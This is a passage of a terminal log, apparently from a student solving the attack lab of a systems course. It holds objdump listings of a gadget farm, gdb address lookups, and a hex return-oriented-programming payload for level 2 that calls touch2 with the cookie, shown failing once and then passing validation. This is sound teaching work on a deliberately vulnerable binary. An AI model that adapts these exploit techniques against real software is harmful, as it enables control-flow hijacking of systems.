ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">000000000040216f &lt;setval_198&gt;:</span></span><br><span class="line"><span class="string">  40216f:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402173:c7 07 bc 58 90 c3    movl   $0xc39058bc,(%rdi)</span></span><br><span class="line"><span class="string">  402179:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">000000000040217a &lt;mid_farm&gt;:</span></span><br><span class="line"><span class="string">  40217a:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  40217e:b8 01 00 00 00       mov    $0x1,%eax</span></span><br><span class="line"><span class="string">  402183:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402184 &lt;add_xy&gt;:</span></span><br><span class="line"><span class="string">  402184:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402188:48 8d 04 37          lea    (%rdi,%rsi,1),%rax</span></span><br><span class="line"><span class="string">  40218c:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">000000000040218d &lt;setval_154&gt;:</span></span><br><span class="line"><span class="string">  40218d:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402191:c7 07 89 d1 90 c3    movl   $0xc390d189,(%rdi)</span></span><br><span class="line"><span class="string">  402197:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402198 &lt;addval_168&gt;:</span></span><br><span class="line"><span class="string">  402198:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  40219c:8d 87 4b 48 8d e0    lea    -0x1f72b7b5(%rdi),%eax</span></span><br><span class="line"><span class="string">  4021a2:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">00000000004021a3 &lt;getval_201&gt;:</span></span><br><span class="line"><span class="string">  4021a3:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  4021a7:b8 6d ae 89 ce       mov    $0xce89ae6d,%eax</span></span><br><span class="line"><span class="string">  4021ac:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">00000000004021ad &lt;setval_276&gt;:</span></span><br><span class="line"><span class="string">  4021ad:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  4021b1:c7 07 89 ce 91 90    movl   $0x9091ce89,(%rdi)</span></span><br><span class="line"><span class="string">  4021b7:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">00000000004021b8 &lt;addval_316&gt;:</span></span><br><span class="line"><span class="string">  4021b8:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  4021bc:8d 87 48 89 e0 90    lea    -0x6f1f76b8(%rdi),%eax</span></span><br><span class="line"><span class="string">  4021c2:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">00000000004021c3 &lt;getval_398&gt;:</span></span><br><span class="line"><span class="string">  4021c3:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  4021c7:b8 48 89 e0 c2       mov    $0xc2e08948,%eax</span></span><br><span class="line"><span class="string">  4021cc:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">00000000004021cd &lt;addval_100&gt;:</span></span><br><span class="line"><span class="string">  4021cd:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  4021d1:8d 87 09 c2 38 db    lea    -0x24c73df7(%rdi),%eax</span></span><br><span class="line"><span class="string">  4021d7:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">00000000004021d8 &lt;getval_383&gt;:</span></span><br><span class="line"><span class="string">  4021d8:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  4021dc:b8 89 c2 c7 1c       mov    $0x1cc7c289,%eax</span></span><br><span class="line"><span class="string">  4021e1:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">00000000004021e2 &lt;getval_455&gt;:</span></span><br><span class="line"><span class="string">  4021e2:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  4021e6:b8 89 c2 91 c3       mov    $0xc391c289,%eax</span></span><br><span class="line"><span class="string">  4021eb:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">00000000004021ec &lt;addval_322&gt;:</span></span><br><span class="line"><span class="string">  4021ec:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  4021f0:8d 87 89 ce 48 c9    lea    -0x36b73177(%rdi),%eax</span></span><br><span class="line"><span class="string">  4021f6:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">00000000004021f7 &lt;addval_118&gt;:</span></span><br><span class="line"><span class="string">  4021f7:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  4021fb:8d 87 09 ce 90 90    lea    -0x6f6f31f7(%rdi),%eax</span></span><br><span class="line"><span class="string">  402201:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402202 &lt;addval_172&gt;:</span></span><br><span class="line"><span class="string">  402202:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402206:8d 87 48 89 e0 c2    lea    -0x3d1f76b8(%rdi),%eax</span></span><br><span class="line"><span class="string">  40220c:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">000000000040220d &lt;getval_357&gt;:</span></span><br><span class="line"><span class="string">  40220d:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402211:b8 48 89 e0 c3       mov    $0xc3e08948,%eax</span></span><br><span class="line"><span class="string">  402216:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402217 &lt;getval_329&gt;:</span></span><br><span class="line"><span class="string">  402217:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  40221b:b8 89 d1 92 90       mov    $0x9092d189,%eax</span></span><br><span class="line"><span class="string">  402220:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402221 &lt;setval_370&gt;:</span></span><br><span class="line"><span class="string">  402221:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402225:c7 07 34 89 ce 91    movl   $0x91ce8934,(%rdi)</span></span><br><span class="line"><span class="string">  40222b:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">000000000040222c &lt;setval_182&gt;:</span></span><br><span class="line"><span class="string">  40222c:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402230:c7 07 89 c2 91 c3    movl   $0xc391c289,(%rdi)</span></span><br><span class="line"><span class="string">  402236:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402237 &lt;getval_186&gt;:</span></span><br><span class="line"><span class="string">  402237:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  40223b:b8 89 c2 c3 5b       mov    $0x5bc3c289,%eax</span></span><br><span class="line"><span class="string">  402240:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402241 &lt;addval_498&gt;:</span></span><br><span class="line"><span class="string">  402241:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402245:8d 87 8f fb a9 d1    lea    -0x2e560471(%rdi),%eax</span></span><br><span class="line"><span class="string">  40224b:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">000000000040224c &lt;setval_122&gt;:</span></span><br><span class="line"><span class="string">  40224c:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402250:c7 07 89 c2 00 d2    movl   $0xd200c289,(%rdi)</span></span><br><span class="line"><span class="string">  402256:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402257 &lt;getval_273&gt;:</span></span><br><span class="line"><span class="string">  402257:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  40225b:b8 89 d1 00 c0       mov    $0xc000d189,%eax</span></span><br><span class="line"><span class="string">  402260:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402261 &lt;addval_144&gt;:</span></span><br><span class="line"><span class="string">  402261:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402265:8d 87 48 8b e0 c3    lea    -0x3c1f74b8(%rdi),%eax</span></span><br><span class="line"><span class="string">  40226b:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">000000000040226c &lt;setval_497&gt;:</span></span><br><span class="line"><span class="string">  40226c:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402270:c7 07 89 d1 84 c9    movl   $0xc984d189,(%rdi)</span></span><br><span class="line"><span class="string">  402276:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402277 &lt;getval_429&gt;:</span></span><br><span class="line"><span class="string">  402277:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  40227b:b8 89 d1 c7 37       mov    $0x37c7d189,%eax</span></span><br><span class="line"><span class="string">  402280:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402281 &lt;setval_231&gt;:</span></span><br><span class="line"><span class="string">  402281:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402285:c7 07 23 48 a9 e0    movl   $0xe0a94823,(%rdi)</span></span><br><span class="line"><span class="string">  40228b:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">000000000040228c &lt;getval_200&gt;:</span></span><br><span class="line"><span class="string">  40228c:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  402290:b8 89 ce 84 db       mov    $0xdb84ce89,%eax</span></span><br><span class="line"><span class="string">  402295:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">0000000000402296 &lt;addval_367&gt;:</span></span><br><span class="line"><span class="string">  402296:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  40229a:8d 87 99 d1 90 c3    lea    -0x3c6f2e67(%rdi),%eax</span></span><br><span class="line"><span class="string">  4022a0:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">00000000004022a1 &lt;setval_345&gt;:</span></span><br><span class="line"><span class="string">  4022a1:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  4022a5:c7 07 8d ce 20 c9    movl   $0xc920ce8d,(%rdi)</span></span><br><span class="line"><span class="string">  4022ab:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">00000000004022ac &lt;setval_468&gt;:</span></span><br><span class="line"><span class="string">  4022ac:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  4022b0:c7 07 09 d1 38 db    movl   $0xdb38d109,(%rdi)</span></span><br><span class="line"><span class="string">  4022b6:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">00000000004022b7 &lt;addval_174&gt;:</span></span><br><span class="line"><span class="string">  4022b7:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">  4022bb:8d 87 48 89 e0 c7    lea    -0x381f76b8(%rdi),%eax</span></span><br><span class="line"><span class="string">  4022c1:c3                   ret    </span></span><br><span class="line"><span class="string"></span></span><br><span class="line"><span class="string">00000000004022c2 &lt;setval_230&gt;:</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ gdb -q ./rtarget -ex &#x27;</span>p/x &amp;touch2<span class="string">&#x27; -ex quit</span></span><br><span class="line"><span class="string">Reading symbols from ./rtarget...</span></span><br><span class="line"><span class="string">$1 = 0x401f57</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ cat &gt; rtarget.l2 &lt;&lt;&#x27;</span>EOF<span class="string">&#x27;</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">74 21 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">45 32 2a 1c 00 00 00 00</span></span><br><span class="line"><span class="string">28 21 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">57 1f 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ ./hex2raw &lt; rtarget.l2 &gt; rlevel2.txt</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./rtarget -q &lt; rlevel2.txt</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string">Type string:Oops!: You executed an illegal instruction</span></span><br><span class="line"><span class="string">Better luck next time</span></span><br><span class="line"><span class="string">FAIL: Would have posted the following:</span></span><br><span class="line"><span class="string">user idB24040307</span></span><br><span class="line"><span class="string">course15213-f15</span></span><br><span class="line"><span class="string">labattacklab</span></span><br><span class="line"><span class="string">result48:FAIL:0xffffffff:rtarget:0:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 74 21 40 00 00 00 00 00 45 32 2A 1C 00 00 00 00 28 21 40 00 00 00 00 00 57 1F 40 00 00 00 00 00 </span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ cat &gt; rtarget.l2 &lt;&lt;&#x27;</span>EOF<span class="string">&#x27;</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">00 00 00 00 00 00 00 00</span></span><br><span class="line"><span class="string">76 21 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">45 32 2a 1c 00 00 00 00</span></span><br><span class="line"><span class="string">28 21 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">57 1f 40 00 00 00 00 00</span></span><br><span class="line"><span class="string">EOF</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ ./hex2raw &lt; rtarget.l2 &gt; rlevel2.txt</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./rtarget -q &lt; rlevel2.txt</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string">Type string:Touch2!: You called touch2(0x1c2a3245)</span></span><br><span class="line"><span class="string">Valid solution for level 2 with target rtarget</span></span><br><span class="line"><span class="string">PASS: Would have posted the following:</span></span><br><span class="line"><span class="string">user idB24040307</span></span><br><span class="line"><span class="string">course15213-f15</span></span><br><span class="line"><span class="string">labattacklab</span></span><br><span class="line"><span class="string">result48:PASS:0xffffffff:rtarget:2:00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 76 21 40 00 00 00 00 00 45 32 2A 1C 00 00 00 00 28 21 40 00 00 00 00 00 57 1F 40 00 00 00 00 00 </span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ LD_PRELOAD=./printf.so ./rtarget &lt; rlevel2.txt</span></span><br><span class="line"><span class="string">Cookie: 0x1c2a3245</span></span><br><span class="line"><span class="string">Type string:Touch2!: You called touch2(0x1c2a3245)</span></span><br><span class="line"><span class="string">Valid solution for level 2 with target rtarget</span></span><br><span class="line"><span class="string">PASS: Sent exploit string to server to be validated.</span></span><br><span class="line"><span class="string">NICE JOB!</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ gdb -q ./rtarget -ex &#x27;</span>p/x &amp;touch3<span class="string">&#x27; -ex quit</span></span><br><span class="line"><span class="string">Reading symbols from ./rtarget...</span></span><br><span class="line"><span class="string">$1 = 0x402074</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ objdump -d ./rtarget &gt; rtarget.asm</span></span><br><span class="line"><span class="string">B24040307@ICS:~/target48$ grep -n -A200 &#x27;</span>&lt;start_farm&gt;<span class="string">&#x27; rtarget.asm</span></span><br><span class="line"><span class="string">1126:0000000000402119 &lt;start_farm&gt;:</span></span><br><span class="line"><span class="string">1127-  402119:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1128-  40211d:b8 01 00 00 00       mov    $0x1,%eax</span></span><br><span class="line"><span class="string">1129-  402122:c3                   ret    </span></span><br><span class="line"><span class="string">1130-</span></span><br><span class="line"><span class="string">1131-0000000000402123 &lt;getval_181&gt;:</span></span><br><span class="line"><span class="string">1132-  402123:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1133-  402127:b8 48 89 c7 90       mov    $0x90c78948,%eax</span></span><br><span class="line"><span class="string">1134-  40212c:c3                   ret    </span></span><br><span class="line"><span class="string">1135-</span></span><br><span class="line"><span class="string">1136-000000000040212d &lt;setval_210&gt;:</span></span><br><span class="line"><span class="string">1137-  40212d:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1138-  402131:c7 07 48 89 c7 c1    movl   $0xc1c78948,(%rdi)</span></span><br><span class="line"><span class="string">1139-  402137:c3                   ret    </span></span><br><span class="line"><span class="string">1140-</span></span><br><span class="line"><span class="string">1141-0000000000402138 &lt;addval_493&gt;:</span></span><br><span class="line"><span class="string">1142-  402138:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1143-  40213c:8d 87 43 58 94 90    lea    -0x6f6ba7bd(%rdi),%eax</span></span><br><span class="line"><span class="string">1144-  402142:c3                   ret    </span></span><br><span class="line"><span class="string">1145-</span></span><br><span class="line"><span class="string">1146-0000000000402143 &lt;setval_394&gt;:</span></span><br><span class="line"><span class="string">1147-  402143:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1148-  402147:c7 07 db 58 90 90    movl   $0x909058db,(%rdi)</span></span><br><span class="line"><span class="string">1149-  40214d:c3                   ret    </span></span><br><span class="line"><span class="string">1150-</span></span><br><span class="line"><span class="string">1151-000000000040214e &lt;addval_233&gt;:</span></span><br><span class="line"><span class="string">1152-  40214e:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1153-  402152:8d 87 48 89 c7 c1    lea    -0x3e3876b8(%rdi),%eax</span></span><br><span class="line"><span class="string">1154-  402158:c3                   ret    </span></span><br><span class="line"><span class="string">1155-</span></span><br><span class="line"><span class="string">1156-0000000000402159 &lt;addval_397&gt;:</span></span><br><span class="line"><span class="string">1157-  402159:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1158-  40215d:8d 87 fc 48 89 c7    lea    -0x3876b704(%rdi),%eax</span></span><br><span class="line"><span class="string">1159-  402163:c3                   ret    </span></span><br><span class="line"><span class="string">1160-</span></span><br><span class="line"><span class="string">1161-0000000000402164 &lt;addval_311&gt;:</span></span><br><span class="line"><span class="string">1162-  402164:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1163-  402168:8d 87 58 90 91 c3    lea    -0x3c6e6fa8(%rdi),%eax</span></span><br><span class="line"><span class="string">1164-  40216e:c3                   ret    </span></span><br><span class="line"><span class="string">1165-</span></span><br><span class="line"><span class="string">1166-000000000040216f &lt;setval_198&gt;:</span></span><br><span class="line"><span class="string">1167-  40216f:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1168-  402173:c7 07 bc 58 90 c3    movl   $0xc39058bc,(%rdi)</span></span><br><span class="line"><span class="string">1169-  402179:c3                   ret    </span></span><br><span class="line"><span class="string">1170-</span></span><br><span class="line"><span class="string">1171-000000000040217a &lt;mid_farm&gt;:</span></span><br><span class="line"><span class="string">1172-  40217a:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1173-  40217e:b8 01 00 00 00       mov    $0x1,%eax</span></span><br><span class="line"><span class="string">1174-  402183:c3                   ret    </span></span><br><span class="line"><span class="string">1175-</span></span><br><span class="line"><span class="string">1176-0000000000402184 &lt;add_xy&gt;:</span></span><br><span class="line"><span class="string">1177-  402184:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1178-  402188:48 8d 04 37          lea    (%rdi,%rsi,1),%rax</span></span><br><span class="line"><span class="string">1179-  40218c:c3                   ret    </span></span><br><span class="line"><span class="string">1180-</span></span><br><span class="line"><span class="string">1181-000000000040218d &lt;setval_154&gt;:</span></span><br><span class="line"><span class="string">1182-  40218d:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1183-  402191:c7 07 89 d1 90 c3    movl   $0xc390d189,(%rdi)</span></span><br><span class="line"><span class="string">1184-  402197:c3                   ret    </span></span><br><span class="line"><span class="string">1185-</span></span><br><span class="line"><span class="string">1186-0000000000402198 &lt;addval_168&gt;:</span></span><br><span class="line"><span class="string">1187-  402198:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1188-  40219c:8d 87 4b 48 8d e0    lea    -0x1f72b7b5(%rdi),%eax</span></span><br><span class="line"><span class="string">1189-  4021a2:c3                   ret    </span></span><br><span class="line"><span class="string">1190-</span></span><br><span class="line"><span class="string">1191-00000000004021a3 &lt;getval_201&gt;:</span></span><br><span class="line"><span class="string">1192-  4021a3:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1193-  4021a7:b8 6d ae 89 ce       mov    $0xce89ae6d,%eax</span></span><br><span class="line"><span class="string">1194-  4021ac:c3                   ret    </span></span><br><span class="line"><span class="string">1195-</span></span><br><span class="line"><span class="string">1196-00000000004021ad &lt;setval_276&gt;:</span></span><br><span class="line"><span class="string">1197-  4021ad:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1198-  4021b1:c7 07 89 ce 91 90    movl   $0x9091ce89,(%rdi)</span></span><br><span class="line"><span class="string">1199-  4021b7:c3                   ret    </span></span><br><span class="line"><span class="string">1200-</span></span><br><span class="line"><span class="string">1201-00000000004021b8 &lt;addval_316&gt;:</span></span><br><span class="line"><span class="string">1202-  4021b8:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1203-  4021bc:8d 87 48 89 e0 90    lea    -0x6f1f76b8(%rdi),%eax</span></span><br><span class="line"><span class="string">1204-  4021c2:c3                   ret    </span></span><br><span class="line"><span class="string">1205-</span></span><br><span class="line"><span class="string">1206-00000000004021c3 &lt;getval_398&gt;:</span></span><br><span class="line"><span class="string">1207-  4021c3:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1208-  4021c7:b8 48 89 e0 c2       mov    $0xc2e08948,%eax</span></span><br><span class="line"><span class="string">1209-  4021cc:c3                   ret    </span></span><br><span class="line"><span class="string">1210-</span></span><br><span class="line"><span class="string">1211-00000000004021cd &lt;addval_100&gt;:</span></span><br><span class="line"><span class="string">1212-  4021cd:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1213-  4021d1:8d 87 09 c2 38 db    lea    -0x24c73df7(%rdi),%eax</span></span><br><span class="line"><span class="string">1214-  4021d7:c3                   ret    </span></span><br><span class="line"><span class="string">1215-</span></span><br><span class="line"><span class="string">1216-00000000004021d8 &lt;getval_383&gt;:</span></span><br><span class="line"><span class="string">1217-  4021d8:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1218-  4021dc:b8 89 c2 c7 1c       mov    $0x1cc7c289,%eax</span></span><br><span class="line"><span class="string">1219-  4021e1:c3                   ret    </span></span><br><span class="line"><span class="string">1220-</span></span><br><span class="line"><span class="string">1221-00000000004021e2 &lt;getval_455&gt;:</span></span><br><span class="line"><span class="string">1222-  4021e2:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1223-  4021e6:b8 89 c2 91 c3       mov    $0xc391c289,%eax</span></span><br><span class="line"><span class="string">1224-  4021eb:c3                   ret    </span></span><br><span class="line"><span class="string">1225-</span></span><br><span class="line"><span class="string">1226-00000000004021ec &lt;addval_322&gt;:</span></span><br><span class="line"><span class="string">1227-  4021ec:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1228-  4021f0:8d 87 89 ce 48 c9    lea    -0x36b73177(%rdi),%eax</span></span><br><span class="line"><span class="string">1229-  4021f6:c3                   ret    </span></span><br><span class="line"><span class="string">1230-</span></span><br><span class="line"><span class="string">1231-00000000004021f7 &lt;addval_118&gt;:</span></span><br><span class="line"><span class="string">1232-  4021f7:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1233-  4021fb:8d 87 09 ce 90 90    lea    -0x6f6f31f7(%rdi),%eax</span></span><br><span class="line"><span class="string">1234-  402201:c3                   ret    </span></span><br><span class="line"><span class="string">1235-</span></span><br><span class="line"><span class="string">1236-0000000000402202 &lt;addval_172&gt;:</span></span><br><span class="line"><span class="string">1237-  402202:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1238-  402206:8d 87 48 89 e0 c2    lea    -0x3d1f76b8(%rdi),%eax</span></span><br><span class="line"><span class="string">1239-  40220c:c3                   ret    </span></span><br><span class="line"><span class="string">1240-</span></span><br><span class="line"><span class="string">1241-000000000040220d &lt;getval_357&gt;:</span></span><br><span class="line"><span class="string">1242-  40220d:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1243-  402211:b8 48 89 e0 c3       mov    $0xc3e08948,%eax</span></span><br><span class="line"><span class="string">1244-  402216:c3                   ret    </span></span><br><span class="line"><span class="string">1245-</span></span><br><span class="line"><span class="string">1246-0000000000402217 &lt;getval_329&gt;:</span></span><br><span class="line"><span class="string">1247-  402217:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1248-  40221b:b8 89 d1 92 90       mov    $0x9092d189,%eax</span></span><br><span class="line"><span class="string">1249-  402220:c3                   ret    </span></span><br><span class="line"><span class="string">1250-</span></span><br><span class="line"><span class="string">1251-0000000000402221 &lt;setval_370&gt;:</span></span><br><span class="line"><span class="string">1252-  402221:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1253-  402225:c7 07 34 89 ce 91    movl   $0x91ce8934,(%rdi)</span></span><br><span class="line"><span class="string">1254-  40222b:c3                   ret    </span></span><br><span class="line"><span class="string">1255-</span></span><br><span class="line"><span class="string">1256-000000000040222c &lt;setval_182&gt;:</span></span><br><span class="line"><span class="string">1257-  40222c:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1258-  402230:c7 07 89 c2 91 c3    movl   $0xc391c289,(%rdi)</span></span><br><span class="line"><span class="string">1259-  402236:c3                   ret    </span></span><br><span class="line"><span class="string">1260-</span></span><br><span class="line"><span class="string">1261-0000000000402237 &lt;getval_186&gt;:</span></span><br><span class="line"><span class="string">1262-  402237:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1263-  40223b:b8 89 c2 c3 5b       mov    $0x5bc3c289,%eax</span></span><br><span class="line"><span class="string">1264-  402240:c3                   ret    </span></span><br><span class="line"><span class="string">1265-</span></span><br><span class="line"><span class="string">1266-0000000000402241 &lt;addval_498&gt;:</span></span><br><span class="line"><span class="string">1267-  402241:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1268-  402245:8d 87 8f fb a9 d1    lea    -0x2e560471(%rdi),%eax</span></span><br><span class="line"><span class="string">1269-  40224b:c3                   ret    </span></span><br><span class="line"><span class="string">1270-</span></span><br><span class="line"><span class="string">1271-000000000040224c &lt;setval_122&gt;:</span></span><br><span class="line"><span class="string">1272-  40224c:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1273-  402250:c7 07 89 c2 00 d2    movl   $0xd200c289,(%rdi)</span></span><br><span class="line"><span class="string">1274-  402256:c3                   ret    </span></span><br><span class="line"><span class="string">1275-</span></span><br><span class="line"><span class="string">1276-0000000000402257 &lt;getval_273&gt;:</span></span><br><span class="line"><span class="string">1277-  402257:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1278-  40225b:b8 89 d1 00 c0       mov    $0xc000d189,%eax</span></span><br><span class="line"><span class="string">1279-  402260:c3                   ret    </span></span><br><span class="line"><span class="string">1280-</span></span><br><span class="line"><span class="string">1281-0000000000402261 &lt;addval_144&gt;:</span></span><br><span class="line"><span class="string">1282-  402261:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1283-  402265:8d 87 48 8b e0 c3    lea    -0x3c1f74b8(%rdi),%eax</span></span><br><span class="line"><span class="string">1284-  40226b:c3                   ret    </span></span><br><span class="line"><span class="string">1285-</span></span><br><span class="line"><span class="string">1286-000000000040226c &lt;setval_497&gt;:</span></span><br><span class="line"><span class="string">1287-  40226c:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1288-  402270:c7 07 89 d1 84 c9    movl   $0xc984d189,(%rdi)</span></span><br><span class="line"><span class="string">1289-  402276:c3                   ret    </span></span><br><span class="line"><span class="string">1290-</span></span><br><span class="line"><span class="string">1291-0000000000402277 &lt;getval_429&gt;:</span></span><br><span class="line"><span class="string">1292-  402277:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1293-  40227b:b8 89 d1 c7 37       mov    $0x37c7d189,%eax</span></span><br><span class="line"><span class="string">1294-  402280:c3                   ret    </span></span><br><span class="line"><span class="string">1295-</span></span><br><span class="line"><span class="string">1296-0000000000402281 &lt;setval_231&gt;:</span></span><br><span class="line"><span class="string">1297-  402281:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1298-  402285:c7 07 23 48 a9 e0    movl   $0xe0a94823,(%rdi)</span></span><br><span class="line"><span class="string">1299-  40228b:c3                   ret    </span></span><br><span class="line"><span class="string">1300-</span></span><br><span class="line"><span class="string">1301-000000000040228c &lt;getval_200&gt;:</span></span><br><span class="line"><span class="string">1302-  40228c:f3 0f 1e fa          endbr64 </span></span><br><span class="line"><span class="string">1303-  402290:b8 89 ce 84 db       